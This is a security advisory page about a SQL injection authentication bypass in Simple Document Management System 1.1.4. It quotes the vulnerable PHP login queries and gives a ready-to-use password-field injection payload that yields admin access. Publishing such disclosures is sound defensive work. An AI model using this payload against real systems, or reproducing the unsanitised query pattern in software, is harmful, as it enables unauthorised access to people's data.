Simple Document Management System 1.1.4 SQL Injection Auth Bypass

2009-02-23 / 2009-02-24
Credit: Yuri
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

SDMS Simple Document Management System v1.1.4 SQL Injection ___________________________________________________________________________ Author: Yuri Program: SDMS Simple Document Management System Version: v1.1.4 (and probably all older versions as well) Website: http://sdms.cafuego.net/ How it works ___________________________________________________________________________ The login system is very insecure, this is the code we are going to abuse: $result = @mysql_query("SELECT pass != PASSWORD('$pass') FROM users WHERE user='$login'"); $row = @mysql_fetch_array($result); if( $row[0] != 0 ) { header("Location: index.php"); exit; } $result = @mysql_query("SELECT id,name FROM users WHERE user='$login'"); $row = @mysql_fetch_array($result); $id = $row[id]; $name = $row[name]; If the result of the first query is 0, it selects the id and name from the user entered at the login page. There is no filter on $pass. So if we enter user: Admin (case insensitive) password: ') FROM users WHERE id=-1 UNION SELECT 0 FROM users -- The resulting query looks like this: SELECT pass != PASSWORD('') FROM users WHERE id=-1 UNION SELECT 0 FROM users --') FROM users WHERE user='$login' which is always 0, so voila, admin access. ___________________________________________________________________________ Yuri // 04 - 11 - 2008

Referencje:

http://xforce.iss.net/xforce/xfdb/46342
http://www.securityfocus.com/bid/32114
http://www.milw0rm.com/exploits/6987
http://secunia.com/advisories/32502


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top